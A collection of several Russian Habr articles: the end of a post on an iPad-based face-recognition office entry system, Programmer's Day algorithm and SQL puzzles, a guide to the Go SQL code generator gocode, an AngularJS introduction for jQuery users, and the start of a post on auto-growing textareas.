мысль растиражировать это решение по всему зданию. Но есть проблема: почти на всех этажах по две двери, и у каждой должно быть две камеры, всего 96 камер только для одной из наших башен, а сейчас идет активное освоение второй. Распечатать столько корпусов можно, но уже кажется сложным. Кроме того, у нас достаточно много компонентов в устройстве, а значит, много точек отказа. Если масштабировать решение на всё здание, мы будем постоянно обслуживать эти камеры. Опять же, сложность быстрой замены, ведь каждая камера — это штучное устройство. И нужно либо распечатать их много, с запасом, либо, если что-то случилось, то сразу бежать, печатать и собирать новую. Мы поняли, что DIY-решения — это классно, но нужно что-то более удобное в тиражировании. И возникла идея перенести всё на iPad. ### Айпад У iPad есть несколько преимуществ. Во-первых, экран. Коллеги жаловались на отсутствие обратной связи, они подходят и не понимают, началось распознавание или нет, ждать им или не ждать. Во-вторых, в iOS есть встроенная функция распознавания лица. Функцию, которую выполняла OpenCV, мы передали iPad. На экране отображается рамка, и человек должен подойти на такое расстояние, чтобы лицо помещалось в эту рамку. После этого система начинает автоматически его распознавать, ничего нажимать не надо. В-третьих, iPad — это массовый продукт. Если он вышел из строя, мы ставим другой. Хотя сам планшет стоит около 20 тыс. рублей, то это всё равно дешевле кастомных камер, которые нам предлагали партнеры. К тому же быстрее и надёжнее. Новая архитектура ================= ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/35e/90f/685/35e90f685bd150fcc133f73a24b07cee.jpg) iPad взял на себя большую часть функций. На Raspberry Pi, который стоит в серверной, фактически остается только HTTP-хост, который принимает GET-запрос с ID пропуска. Он тут же проксирует код в Arduino, а та проксирует в СКУД. В первом варианте Raspberry Pi была очень нагружена, потому что на ней постоянно работал OpenCV. К ней было уже не подключить вторую камеру, не хватило бы вычислительной мощности. Мы уже думали о том, что надо ставить туда честный компьютер, который парсил бы 4 потока от двух дверей. Но до этого не дошло. Сейчас поиск лица на изображении выполняется независимо на каждом айпаде. В кроссовой остаются две Arduino, по одной на каждую дверь. Обе платы работают с пропусками на вход и на выход. Почему важно работать с пропусками на вход и на выход? Во-первых, когда лицо распознано и дверь открывается, на считывателе карт загорается зеленая лампочка, и коллегам понятно, что можно выходить. Во-вторых, СКУД логирует входы и выходы. Эмулируя вход и выход раздельно, мы не ломаем схему работы СКУД. Естественно, подтянулись дизайнеры, которые нарисовали нам красивый интерфейс. Вот так это выглядит сейчас на одном из этажей нашего офиса: ![](https://habrastorage.org/r/w780q1/webt/t_/mv/27/t_mv273f9oor1vamysoa-hwybxe.jpeg) Работа с Vision =============== Несмотря на то, что MCS — это бизнес-продукт, его могут использовать и любители. Сервис предлагает каждому 5 тыс. бесплатных транзакций в месяц, то есть 166 в день. Поэтому вы можете применять для своих домашних нужд, если укладываетесь в лимит, конечно же. Как это можно сделать? ``` python examples/python/smarty.py \ -u "https://smarty.mail.ru/api/v1/persons/recognize ?oauth_provider=mcs&oauth_token=e50b000614a371ce 99c01a80a4558d8ed93b313737363830" \ -p friends1.jpg \ --meta '{"space":"1", "create_new":true}' \ -v ``` Возьмём фотографию и отправим в Vision вместе с нашим токеном доступа. Укажем, что работаем с первым спейсом, и зададим `create_new` — тогда под каждое незнакомое лицо система будет создавать новый идентификатор. Вот что получаем в ответ: ``` { "status":200, "body":{ "objects": [ { "status":0, "name":"file_0", "persons":[ {"tag":"person1","coord":[102,30,184,134],"confidence":0.99999,"awesomeness":0.5025}, {"tag":"person2","coord":[393,74,461,166],"confidence":0.99987,"awesomeness":0.548}, {"tag":"person3","coord":[458,48,535,149],"confidence":0.99976,"awesomeness":0.4766}, {"tag":"person4","coord":[273,45,352,147],"confidence":0.99963,"awesomeness":0.504}, {"tag":"person5","coord":[525,81,600,184],"confidence":0.99954,"awesomeness":0.4849}, {"tag":"person6","coord":[194,76,258,167],"confidence":0.9984,"awesomeness":0.5725} ] } ], "aliases_changed":false }, "htmlencoded":false, "last_modified":0 } ``` Я немного отформатировал JSON. В ответе содержится идентификатор человека, координаты лица на фотографии и два параметра: насколько хорошо распознано лицо и насколько этот человек соответствует эталону. Можете на своём языке программирования отправить POST-запрос с картинкой, получить JSON и распарсить ответ. Если у вас большая проходимость, а нужно определять всего десяток человек, вы можете задать их вручную. Тогда система будет на знакомых людей выдавать их идентификаторы, а на незнакомых — undefined. Людей можно и выборочно удалять, например, если сотрудник уволился. Идеи ==== В каких проектах вы можете использовать распознавание лиц? Если захотите реализовать пропускную систему, придётся озаботиться антиспуфингом. Например, добавив инфракрасную камеру, чтобы определять, фотография это или живой человек. Или поставив две камеры для определения глубины объекта, это можно сделать с помощью OpenCV. Можно организовать распознавание людей в подъезде. Если это ваши соседи, то всё в порядке, а если кто-то посторонний, то можно отсылать себе оповещение. У нас в доме есть такая проблема, периодически приходят посторонние и оставляют после себя много мусора на лестничной площадке. Если вы сделаете «умное зеркало», то можно оснастить его и распознаванием членов семьи, чтобы каждому показывать то, что ему интересно. Скажем, мне зеркало покажет график встреч на сегодня, а с дочерью весело поздоровается и предложит почистить зубы, причём не быстро, как обычно, а две минуты. Ещё идея — распознавание автомобильного номера автоматическими воротами на даче. Чтобы не выходить или не нажимать брелок, можете поставить камеру, которая снимет ваш номер, и ворота откроются автоматически.
https://habr.com/ru/post/473828/
null
ru
null
# Праздничный биатлон ![Programmers' day](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ee1/343/fff/ee1343fff659401fb465300dca54a4c0.jpg)С днем программиста, коллеги! Предлагаю в честь праздника поразмять мозги и поучаствовать в биатлоне. Виды спорта: алгоритмы, SQL. Для каждого из них будет две задачки: попроще и посложнее. В качестве награды за усилия всем участникам гарантируется улучшение кровообращения в левом полушарии головного мозга (: Алгоритмы. Задача №1, разминочная --------------------------------- Напишите код, который находит количество ***подчисел*** числа **n**, на которые это число делится без остатка. Для числа n, подчисло — это такое число, запись которого является подстрокой записи числа n. К примеру, если n равняется 1938, то его подчислами будут являться: 1, 9, 3, 8, 19, 93, 38, 193 и 938. Без остатка 1938 делится на четыре из этих подчисел: 1, 3, 19 и 38. Соответственно, результатом работы программы должно быть число 4. Если подчисла повторяются, каждое из них считается. Например, 101 делится без остатка на 1, 1 и 01, значит, ответ — 3. Так как задача несложная, в решениях ценится краткость или нестандартный подход. Алгоритмы. Задача №2, посложнее ------------------------------- Руководство финансовой пирамиды решило присвоить числовой рейтинг каждому из участников пирамиды. Если участник до сих пор никого не привел в пирамиду, то его рейтинг равняется 1. Если у участника уже есть подчиненные участники, то его рейтинг равняется 1 + сумма рейтингов его прямых подчиненных. Задача: найти сумму рейтингов всех участников финансовой пирамиды. Исходные данные подаются в виде массива из **n** строк, где каждая строка содержит **n** символов. Каждый символ — либо '0', либо '1'. j-й символ i-й строки указывает на то, является ли участник под номером j прямым подчиненным участника i. j-й символ j-й строки всегда равен '0'. Дерево участников никогда не имеет циклов. Каждый участник всегда является прямым подчиненным максимум одного другого участника. У дерева участников всегда только один корневой участник. Пример исходных данных: ``` "0110" "0000" "0001" "0000" ``` Корневым элементом в данном случае является участник 0. У него двое подчиненных: участники 1 и 2. У 1 подчиненных нет, у 2 есть подчиненный участник 3. Рейтинг 3-го: 1. Рейтинг 1-го: 1. Рейтинг 2-го: 1 + 1 = 2. Рейтинг 0-го: 1 + 1 + 2 = 4. Результатом работы кода должна являться сумма рейтингов всех участников, в данном случае это: 1 + 1 + 2 + 4 = 8. SQL. Задача №1, попроще ----------------------- Дано: две (ненормализированные) таблицы: Categories(Id, Name) Books(Id, CategoryId, Name) В будущем вы, конечно же, хотите добавить третью таблицу-связку Book\_Category, но пока что в таблице Books может существовать несколько записей с одинаковым значением поля Name, но разными CategoryId. Задача: написать запрос, который выбирает все книги, которые есть в категории с Id = 1, но которых нет в категории с Id = 2. Небольшое уточнение: СУБД, которую вы используете, не знает, что такое подзапросы :) SQL. Задача №2, посложнее ------------------------- Есть таблица Players(Id, Name, Score), где Score — количество очков игрока. Чем больше очков, тем выше место игрока в зачетной таблице. Задача: написать запрос, который выбирает игроков, занимающих (делящих) 3-е место. **UPD:** Так как задача оказалась проще, чем ожидалось, вводится ограничение: нельзя использовать подзапросы. Для интереса, попробуйте обойтись джоинами :) Пример данных: ![Players](https://habrastorage.org/r/w1560/getpro/habr/post_images/d24/4a0/171/d244a0171c253b938d9136de66407a6e.png "Players") Как видно, 1-2 место делят Stepan и Svetlana, а 3-4 — Vladimir и Valentin, которых и должен вернуть запрос. Скрипт для создания таблицы и тестовых данных [можно скачать](http://pastebin.com/2gjsVSYe "SQL Problem Data"). Напоследок ---------- Те, у кого нет аккаунта, могут слать решения мне на почту: [dmitrii.shevchenko@gmail.com](mailto:dmitrii.shevchenko@gmail.com). Инвайтов не обещаю (нет их у меня), а вот в комментарии самые интересные решения выложу. Надеюсь, вам понравится :)
https://habr.com/ru/post/128289/
null
ru
null
# Облегчаем работу с SQL в go и при этом не отстреливаем себе ноги ![](https://habrastorage.org/r/w1560/webt/ng/jv/t2/ngjvt254sum6xrctfjmw6_bfs8o.png) Продолжаю [серию статей](https://habr.com/ru/company/first/blog/650187/) по программированию на Golang, в которой буду рассказывать о том, как упростить себе жизнь. В то же время я уделю достаточно большое количество внимания тому, как при этом не утонуть в бесконечном количестве ненужных делу фреймворков. Давайте поглядим, что мы можем сделать с такой занудной и громоздкой процедурой, как написание кода для обработки SQL запросов. В небольших проектах с парой таблиц можно не заморачиваться. Вот тебе пять запросов, вот они проводятся и всё хорошо. В проектах побольше мы уже садимся и задумываемся о том, *а не пора ли подключать GORM* и начинать делать всё по-серьёзному. Только вся серьёзность может закончиться, когда вы будете сидеть перед базой данных и пытаться понять, почему же выборка одного пользователя уносит продакшн сервер в очень глубокую задумчивость минуты на две. С точки зрения контроля своей собственной программы, выход всегда был только один — SQL, который надо писать самому. Как бы то ни было и каким бы языком мы ни пользовались, писать SQL самому — это всегда крайне занудно. Можете посмотреть на статистику: попробуйте найти хоть один язык программирования из ТОП-50 в StackOverflow, в котором нет какой-нибудь ORM системы. Подобные системы приходят к нам из мира ООП языков. Первые подобные проекты появились ещё в 1995 году в Smalltalk и C++, позже они были портированы в Java, а в этом монстре Hibernate живёт уже с 2001 года. Но мы-то знаем, что golang — это не совсем объектно-ориентированный язык. И вместе с этим не совсем ООП языком мы можем смело выкинуть кучу вещей, которые считаются “нужными” в ООП языках. Итак, давайте посмотрим, что же можно сделать вместо того, чтобы засовывать непонятно чьи компоненты в свой код. В этом материале я хотел бы показать вам одну утилиту, которую я нашёл на просторах интернета и которая очень бодро помогла мне с SQL в го. Встречайте — [**Gocode**](https://github.com/d0sbit/gocode). Мы уже решили, что не хотим впихивать неизвестные пакеты в наш код, но и не горим желанием писать всё с нуля. Для решения этой проблемы будем просто генерировать необходимый код. Для начала сливаем код, компилируем его, делаем `go install` и убеждаемся, что он у нас исполнился. ``` export PATH="$HOME/go/bin:$PATH" ``` После этого у нас должен стать доступным бинарник gocode. Эта программка пишет код на golang за вас. Всё достаточно просто, ибо следование стандартам правильного кода на golang — это не сложно. Поэтому и генерировать код не такая проблемная задача. Давайте возьмём любую структуру и опишем её в каком-нибудь пакете. ``` type Pool struct { PoolID string `json:"pool_id" toml:"pool_id" db:"pool_id"` // 05za6dbq0n6t5jytnjdt247af0 Address string `json:"address" toml:"address" db:"address"` // 10.22.1.42 AddressFamily string `json:"address_family" toml:"address_family" db:"address_family"` // ipv4 Path string `json:"path" toml:"path" db:"path"` // /dev/tars_05za6dbq0n6t5jytnjdt247af0 Free uint64 `json:"free" toml:"free" db:"free"` Size uint64 `json:"size" toml:"size" db:"size"` TypeCode string `json:"type_code" toml:"type_code" db:"type_code"` // nvme, copied from storage_host, could be removed but might be useful when querying } ``` Тут я хотел бы сказать, что в данном случае будет разумным держать все определения структур, с которыми работает ваша программа, в одном пакете. Как видите, я просто создал стандартную структуру и прописал теги для работы с toml, JSON и базой данных. Один и тот же тип будет передаваться через Rest API в виде JSON, писаться в TOML и храниться в БД. Для gocode вам нужно создать тег `db`. Тут единственным условием будет то, что вы должны назвать поле идентификатора `%StructName%+ID`. Остальное — на ваше усмотрение. После этого мы готовы запустить gocode и посмотреть, что нам нагенерируется: ``` gocode_sqlcrud -package sqlstore -type Pool ``` Ну, для начала заметим, что нам добавляется папка для migrations. И в ней мы можем найти… Собственно, ничего особо нужного мы здесь не найдём. Тут просто один файл для примера. Если вам вдруг захочется делать миграции: ``` -- +goose Up -- +goose Down ``` Выглядит он примерно так. Файл был и будет пустым. Схему базы данных надо писать самому. В данном случае вам предлагается использовать [Goose](https://github.com/pressly/goose). Но на самом деле, это даже не самое важное. Можно использовать любую систему миграций. Решение достаточно интересное и простое. Вам просто не надо будет заморачиваться со скриптами миграции, которые сгенерированы автоматически. В начале производственного цикла эти скрипты удобны и всё такое, но когда приходит время менять что-то на проде, то таких систем миграции следует остерегаться. На пока что — вот вам скрипт, выкладывайте базу данных в него и не парьтесь. На данном этапе можно особо не выдумывать. Поехали смотреть дальше, что у нас появилось в go коде. У нас теперь есть маленький файл под названием “sqlutil.go”, который просто содержит в себе набор базовых утилит для обработки типов в go и преобразования их в SQL типы. Если бы вы писали всё это руками, то я бы посоветовал начать именно с этого файла. Возможно, изначально он будет пустым, но со временем все мелкие функции будут накапливаться именно здесь. Теперь пришло время посмотреть на store.go. Создание новой структуры для работы с базой данных. Начало и коммит транзакции. Этот тип будет основой для более генерализованных типов, которые будут заниматься работой с конкретными таблицами. Теперь доберёмся до самого файла работы с нашим типом .pool-store.go. Тут у нас есть один подводный камень. Скорее всего, опечатка в исходном коде. Я сейчас создам PR для того, чтобы её починили. Ну да это мелочь. В этом сгенерированном коде: ``` // tableName returns the name of the table. func (s *Store) tableName() string { return "mounted_storage_partition" } ``` Нужно заменить s \*Store на s \*PoolStore Ок. Продолжаем осматриваться: ``` type PoolList []Pool ``` Тут для простоты мы просто обзываем список наших экземпляров типа как …List. Далее мы можем видеть интерфейс PoolResulter, который будет нужен для получения результатов запросов Select. Об этом чуть ниже. Выборка по ID производится просто и незатейливо: ``` func (s *PoolStore) SelectByID(ctx context.Context, vPoolID string) (*Pool, error) { var ret Pool ctx, tx, txCreated, err := s.ctxTxx(ctx) if err != nil { return nil, err } if txCreated { defer tx.Rollback() } sqlText := "SELECT " + strings.Join(dbFieldQuote(dbFieldNames(&ret)), ",") + " FROM `" + s.tableName() + "` WHERE " + strings.Join([]string{ " `mounted_storage_partition_id` = ?", }, ",") err = tx.GetContext(ctx, &ret, sqlText, vPoolID) if err != nil && errors.Is(err, sql.ErrNoRows) { err = &ErrNotFound{err: err} } if err != nil { return nil, err } if txCreated { return &ret, tx.Commit() } return &ret, err } ``` Кстати, обратите внимание на наличие указателя на CTX. Весь сгенерированный код поддерживает транзакции. Давайте теперь посмотрим на то, как мы можем выбирать записи из БД: ``` / Select runs the indicated query and loads it's return into result. // Offset is the number of rows to skip, limit is the maximum to return (after any skip/offset). // The criteria map is converted into a SQL WHERE clause (see sqlFilter in this package). // The orderBy slice is converted into a SQL ORDER BY clause (see sqlSort in this package). // Records are struct scanned and then passed into the appropriate method on result. // Note that for more complex query needs it is recommended you add a custom select function // instead of trying to adapt this one to every use case. func (s *PoolStore) Select(ctx context.Context, offset, limit int64, critiera map[string]interface{}, orderBy []interface{}, result PoolResulter) error { ``` Сигнатура этого метода достаточно обычна для любых методов Select, которые пытаются получить всё и за один раз. У нас есть skip и limit, которые позволяют выбрать определённое количество результатов. Естественно, это ваш пропуск в мир пагинаторов. После чего вы можете передать набор параметров для самого запроса. Например, если вам нужно получить что-то с storage\_partition\_id = 10, вы добавите такую структуру в запрос: ``` err := s.SQL.Pool().Select(ctx, 0, 0, map[string]interface{}{"storage_partition_id": 10}, nil, &r) ``` Ну и, естественно, в конце мы передаём ссылку на Resulter. Это может быть либо просто указатель на PoolList, либо указатель на PoolResulter. ``` // PoolList is a slice of Pool with relevant methods. type PoolList []Pool // PoolResult implements PoolResulter by adding // to the slice. func (l *PoolList) PoolResult(o Pool) error { *l = append(*l, o) return nil } // PoolResulter can receive Pool instances as they // are streamed from the underlying data source. type PoolResulter interface { PoolResult(Pool) error } ``` Тут всё, опять же, тривиально. Если мы передали ссылку на PoolList, то система просто вернёт нам список. А если мы создали свою собственную функцию-resulter, то мы можем сделать что угодно с получившимся результатом. В случае если вы получаете 2 миллиона записей из SQL и пытаетесь их одновременно с этим обработать, вы можете просто запихнуть вашу обработку в resulter. Тогда вам не придётся мучиться с тем, что надо сначала разобрать SQL запрос, создать из него объекты, а после этого запихнуть всё в slice только для того, чтобы потом идти и проходить по этому slice ещё раз. Обратите внимание на комментарий в начале метода Select: ``` // Note that for more complex query needs it is recommended you add a custom select function // instead of trying to adapt this one to every use case. ``` Если вам нужна более сложная логика в Select, то просто напишите ещё один Select прямо в этом файле. Не пытайтесь приспособить этот Select для всего в мире. После этого вы сможете найти все стандартные методы, которые вероятны в подобном коде. Cursor, Count, Insert, Delete и так далее. Теперь идём дальше… Собственно говоря, ходить дальше и не надо. На самом деле, у вас уже есть на руках весь код, который вам нужен для того, чтобы работать с вашей сущностью в БД. В самом коде открываем соединение к базе данных и создаём объект store: ``` mdb, err := sql.Open("mysql", c.APIConfig.ConnString) if err != nil { log.Warn("Can't connect to the database") } sqlstr, err = sqlstore.NewStore(mdb, "mysql") if err != nil { log.Warn("Can't connect to the database") } ``` После чего открываем транзакцию простым: ``` err = sqlstr.SQL.RunTxx(r.Context(), func(ctx context.Context) error { np, err := s.SQL.Pool().SelectByID(ctx, p.PoolID) if err != nil { return fmt.Errorf("can't find storage partition with the id %s , %w", p.PoolID, err) } err = s.SQL.Pool().Select(ctx, 0, 0, map[string]interface{}{"partition_id": reqParam.PartitionID}, nil, &r) if err != nil { return err } s.SQL.Pool().Delete(ctx, reqParam.PartitionID) }) ``` Идея с транзакциями очень проста. Вы просто создаёте CTX и передаёте его в запросы. Если в какой-либо момент вы возвращаете err внутри SQL.RunTxx, то вся транзакция откатывается и никакие изменения не сохраняются. Либо если у вас нет ошибок, то всё сохраняется в базу данных. Итоговый код достаточно прост. Теперь нам надо посмотреть на пару файлов, которые мы обошли вниманием: ``` store_test.go pool-store_test.go ``` Все мы знаем, что тесты писать надо, и все мы не хотим эти тесты писать. Ну что же, gocode уже написал тесты на docker за нас. Будет скачана последняя версия mysql, и ваш код будет протестирован как полагается. А если вам захочется дописать ещё тестов, то вы всегда можете добавить больше данных. Генератор написан в очень приятной манере, он никогда не перезапишет ваши изменения. Если вы создали код для работы с определённым типом, то повторная генерация кода не приведёт ни к чему. Поэтому вы можете смело менять код, который произвёл для вас gocode. Казалось бы, игрушка. Но по факту это как раз не игрушка. Сейчас большой проприетарный проект на 150 таблиц отлично живёт, обслуживаемый скромной маленькой утилитой. Почему? Потому что в этом проекте мы не стремились сделать так, чтобы программист мог сесть и написать код за 2 секунды. Как раз наоборот. Когда кто-то приходит в проект, то первым делом мы сажаем его учиться. Он садится и разбирается в том, как работает наша база данных. Мы проверяем, что он понимает, что такое SQL синтаксис, и что он его не избегает. Я увидел интересную тенденцию. Непонимание таких базовых вещей, как LEFT OUTER JOIN, или RIGHT INNER JOIN, приводит к тому, что люди начинают избегать самого SQL. Да, согласен, этот язык был сделан в 80-х годах и на самом деле он стар, и всё такое. Но это не значит, что вы, как программист, не должны уметь им пользоваться. Причём пользоваться **уверенно**. После того как новички привыкли к базе данных, мы показываем им этот генератор кода, и они привыкают к тому, как мы работаем с SQL на golang. Вкратце это можно описать одним словом: “руками”. Почему? ------- Мы собираем бесконечно сложные микросервисные архитектуры и переписываем их в очень быстрые монолиты. Программы становятся всё более эффективными, и некоторые из моих пользователей радуются 300% падению нагрузок на процессор. Да, возможно, что ПО нужно писать быстро. Но это не значит, что его не нужно писать качественно и с пониманием того, что и как в нём работает. Не стоит полагаться на популярные фреймворки только потому, что все так делают. Полагаться стоит на ваше собственное умение понимать код и писать его качественно. Это занимает больше времени. Но при этом, когда счета за облачные платформы сжимаются до четырёхзначных сумм, бизнес идёт веселее, а мы получаем большие премии. > А какие решения применяете вы? --- НЛО прилетело и оставило здесь промокоды для читателей нашего блога: — [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. — [20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**.
https://habr.com/ru/post/652697/
null
ru
null
# AngularJS для привыкших к jQuery [AngularJS](http://angularjs.org) — прекрасный фреймворк для построения веб-приложений. У него замечательная документация, снабженная примерами. В обучающих «пробных» приложениях (вроде [TodoMVC Project](http://todomvc.com/)) он очень достойно показывает себя среди остальных прочих фреймворков. По нему есть отличные презентации и скринкасты. Однако если разработчик никогда ранее не сталкивался с фреймворками, подобными Angular, и пользовался в работе в основном библиотеками вроде jQuery, то ему может быть трудно изменить свой образ мышления. Как минимум, так было со мной, и я бы хотел поделиться некоторыми заметками на эту тему. Может быть, кому-то это будет полезно. Не библиотека ============= Первая вещь, которую следует понять про Angular: это совершенно иной инструмент. jQuery — это библиотека. AngularJS — это фреймворк. Когда ваш код работает с библиотекой, он сам решает, когда вызывать ту или иную функцию. В случае же фреймворка вы реализуете обработчики событий, и уже фреймворк решает, в какой момент их вызывать. Эту разницу легче понять, если подумать над тем, что происходит во время исполнения. Что jQuery делает в рантайме? Практически ничего. Код jQuery вызывается только в ответ на что-то, что произошло в вашем коде — когда сработал триггер какой-либо из функций, вызванный событием DOM. Angular же на стадии загрузки превращает ваше дерево DOM и код в angular-приложение. HTML-разметка страницы с angular-директивами и фильтрами в ней компилируются в дерево шаблонов, соответствующие области видимости (scope) и контроллеры присоединяются к ним в нужных местах, внутренний цикл работы приложения обеспечивает правильную привязку данных между представлением и моделью. Это реально работающая схема в полном согласии с принципами MVC, обеспечивающая очень чистое разделение между представлением, контроллером и моделью. Если говорить про общий цикл событий, отрисовки страницы и привязки данных, то вы можете считать, что он выполняется непрерывно все время, вызывая при этом код из ваших контроллеров лишь когда это требуется. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/f1d/76d/3df/f1d76d3dfd9d4f302beabb5df46e7b56.png) При каждом обновлении модели (неважно, через асинхронный AJAX-запрос или напрямую через изменение данных из контроллера) Angular перезапускает цикл специальной процедуры $digest, которая обновляет привязки данных и сохраняет всю систему в актуальном состоянии. Декларативный подход вместо императивного ========================================= В отличие от некоторых других библиотек и фреймворков, Angular не расценивает HTML как проблему, которую требуется решать (не буду показывать пальцем). Вместо этого он расширяет их настолько естественным образом, что поневоле задумаешься, почему сам до этого раньше не додумался. Это легче показать, чем объяснить. Допустим, мы хотим показывать и скрывать некоторый элемент, основываясь на состоянии чекбокса. В jQuery мы бы сделали это как-то так: ``` Этот элемент будет пропадать и возвращаться, когда вы нажимаете на чекбокс ``` ``` $(function() { function toggle() { var isChecked = $('#toggleShowHide).is(':checked'); var specialParagraph = $('#specialParagraph'); if (isChecked) { specialParagraph.show(); } else { specialParagraph.hide(); } } $('#toggleShowHide).change(function() { toggle(); }); toggle(); }); ``` Обратите внимание на то, что javascript-код здесь воспринимает DOM с точки зрения императивного подхода: возьми этот элемент и его атрибут, посмотри на его значение, сделай так-то и так-то. Теперь посмотрим на то же самое в терминах Angular: ``` Этот элемент будет пропадать и возвращаться, когда вы нажимаете на чекбокс ``` И всё! Кода нет вообще, только лишь чистый декларативный стиль определения привязок и правил. Вот демонстрация этого кода в jsFiddle: [jsfiddle.net/Y2M3r](http://jsfiddle.net/Y2M3r/) Прямые манипуляции с DOM не просто перестают быть обязательными; можно сказать даже более, их использование в подходе Angular крайне не рекомендуется. Дерево DOM должно быть полностью определено в шаблонах, данные — в моделях и областях видимости, функциональность — в контроллерах, какие-либо нестандартные трансформации — в собственных фильтрах и директивах. Это четкое разделение задач на первый взгляд выглядит трудноперевариваемым, но по мере того, как проект растет, это окупится сторицей: код легок в поддержке, его легко разделять на модули, удобно тестировать и исследовать. Двусторонняя привязка данных ============================ Процесс привязывания значения из DOM к данным модели через контроллер и его область видимости создает самую что ни на есть «привязку» в полном смысле этого слова. Вероятнее всего, вы уже знаете это из документации и примеров, но я просто не могу это не сказать. Это одно из самых сильных первых впечатлений от использования Angular. ``` Hello {{yourName}}! =================== ``` Демонстрация: [jsfiddle.net/6UnVA/1](http://jsfiddle.net/6UnVA/1/) Внедрение зависимости ===================== Я выскажусь несколько самоуверенно, но в Angular реализован самый элегантный способ отслеживания зависимостей в мире. Допустим, у вас есть некоторый источник JSON-данных, обернутый в специальный сервис $resource на стороне Angular. ``` DataSource = $resource(url, default_params, method_details) ``` (обратитесь к документации за подробностями) Любая функция-контроллер, которой требуются эти данные, может включить DataSource в список своих параметров. Это всё, что от нее требуется. Это такая маленькая уличная магия, которая не перестает меня удивлять каждый день при работе с AngularJS. Вам нужно выполнять асинхронные HTTP-запросы из контроллера? Добавьте $http в параметры. Нужно писать в лог консоли? Добавьте $log как аргумент вашей функции. Внутри в этот момент происходит следующее: Angular анализирует исходный код фунцкции, находит список аргументов и делает вывод, какие службы требуются вашему коду. Доступ к данным =============== Кроме того, что Angular дает вам полную свободу выбора в том, как организовывать данные в модели (можно использовать простые переменные, объекты и массивы в любых сочетаниях), он также предоставляет удобный способ общаться с REST API на сервере. К примеру, мы хотим получать и сохранять записи о пользователях. Вот как может быть организован доступ к ним: ``` var User = $resource('/user/:userId', {userId:'@id'}); var user = User.get({userId:123}, function() { user.abc = true; user.$save(); }); ``` Angular имеет неплохие предустановки для обычных операций выборки, удаления, получения и изменения данных. А спецпараметры в URL дают возможность настраивать доступ в соответствии с вашими нуждами. Другие важные моменты, которые здесь остались без внимания — это, например, валидация форм, модульное тестирование (*как раз модульное тестирование я лично считаю даже более важным, чем многое из этой статьи — прим. пер.*) и библиотека angular-ui. Возможно, в дальнейших постах.
https://habr.com/ru/post/172975/
null
ru
null
# Дао роста полей ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/424/979/20a/42497920af1d28e2353c6646b0d0b0c7.png)*Немного пятничного веселья.* Поля ввода, *Textarea*, которые молчат, когда с ними ничего не делают, на самом деле хотят расти. Когда объём вводимых текстов превышает их размеры, их тайное желание не всегда слышится дизайнерами и верстальщиками, потому что они уже далеко и думают о новых горизонтах. Оно есть, если прислушаться к кончикам пальцев пользователя, досадливо двигающих скролл мыши. Иногда об этом удаётся забыть, если размер поля ввода предоставлен в основном удовлетворительный. В 3 браузерах из 5 есть даже место для изменения размеров, которое верстальщик, оглушённый указанием свыше, иногда отключает (*textarea{resize: none}*). Есть и другие способы затруднить жизнь пользователю. И тогда он ~~уходит~~ берётся за скрипты и стили. Иногда рост поля ввода требует умеренности. К примеру, если он дошёл до 80% высоты окна или логического блока раскладки страницы. Этот крайний случай тоже требует внимания, но чаще возникает первая проблема — поля малы. ### История На известном новостном сайте Х. (имена изменены, совпадения случайны) изменяемость полей ввода подавляют не менее жёстко, чем политику. Подавление многопланово, словно они, на той стороне баррикады старались затруднить поползновение исправить это простыми средствами. Пока высота поля ввода составляла 6-7 строк, никто особо не задумывался, почему высота полей не изменяется. Но Safari, а затем Chrome подали плохой пример — у них появился уголок, за который пользователь мог потянуть и начать вводить в комментарий слишком много текста. Надо было что-то делать, чтобы ухудшить жизнь, чтобы они, эти толпы кликали куда надо и не писали куда не надо. Последней каплей стал Firefox около года назад. Когда и он стал ресайзить поле ввода, срочно надо было что-то предпринимать. И тут они вспомнили про *resize: none*. Начали с того, что в вопросах-ответах установили 3 строки ввода и вскоре запретили ресайз (resize: none). Но пользователи-то не лыком шиты, на каждый *resize:none* у них найдётся свой *resize: vertical*. Ощущения полной победы над ~~пользователями~~ полем ввода у дизайнера не оставалось. И тогда появилась находка (у верстальщика — дизайнер об этом даже не мечтал), опробованная в разделе писем: ``` textarea {height: 120px!important}; ``` — Браво! — сказал Большой Босс верстальщику, — Молодец, брат, выручил! Теперь они попляшут у нас в пределах 120 пикселей! Теперь просто стилями не обойдёшься, чтобы таскать поле ввода за уголок и ресайзить на сколько хошь. Теперь они и письма будут стараться писать на 6 строк, а ответы, как обычно — на 3 строки. Мы им покажем, как не писать статьи, на которые отведено целых 400 пикселей! (Почему не 800 и вообще почему до сих пор нет автоувеличения поля ввода? Это тебе наш сеошник объяснит.) И тогда юзеры взялись за скрипты. Сами они не хотели резать и вообще мирные люди. Но пришлось. Небольшая магия скриптов со стилями — и поля снова стали ресайзиться вручную. Но этого показалось мало. Теперь в желаниях юзеров, опьянённых жаждой борьбы и вкусом победы, снова замаячил авторост. **Авторост** — это такое свойство поля ввода, не предусмотренное даже браузером (иначе, зачем были бы нужны программисты?). Если в обычный блок добавляешь текст, его границы растут в высоту (вниз) без всяких скриптов. У поля ввода этого нет. Только костыли скриптов помогут полю ввода подрастать и уж очень изысканно надо уметь позаботиться о том, чтобы этот рост был идеальным, кроссбраузерным и таким же точным, до пикселя, какой он изначально есть у блочного элемента (который, например, с тегом *DIV*). Правда, проблемы значительно уменьшаются, если не нужно обеспечивать автоуменьшение высоты, только автоувеличение. ### Реализация [Скрипт HabrAjax](https://greasyfork.org/en/scripts/1970-habrajax) дополнился функцией автоувеличения полей ввода по мере роста текстового содержания. Автоуменьшение сознательно не сделано, потому что имеется возможность регулировать высоту поля ввода вручную, двигая за нижний правый уголок (кроме Оперы, где нет такой функции, но в ней устроено автоуменьшение). Теоретически, этого хотелось давно — не смотреть на ограниченные рамки полей, но так, чтобы не писать 20 строк скрипта, если неудобство решается 1 строкой стилей. Поэтому 1.5-2 года обходились ресайзом стилями и руками. Поэтому и дополнение сейчас — не на 20 строк, а примерно на 7 содержательных, остальное — фарш для прочих эффектов — максимальная высота и отсутствие скролла, когда он не нужен, реалии DOMа. (Код адаптирован для чтения, не точная копия 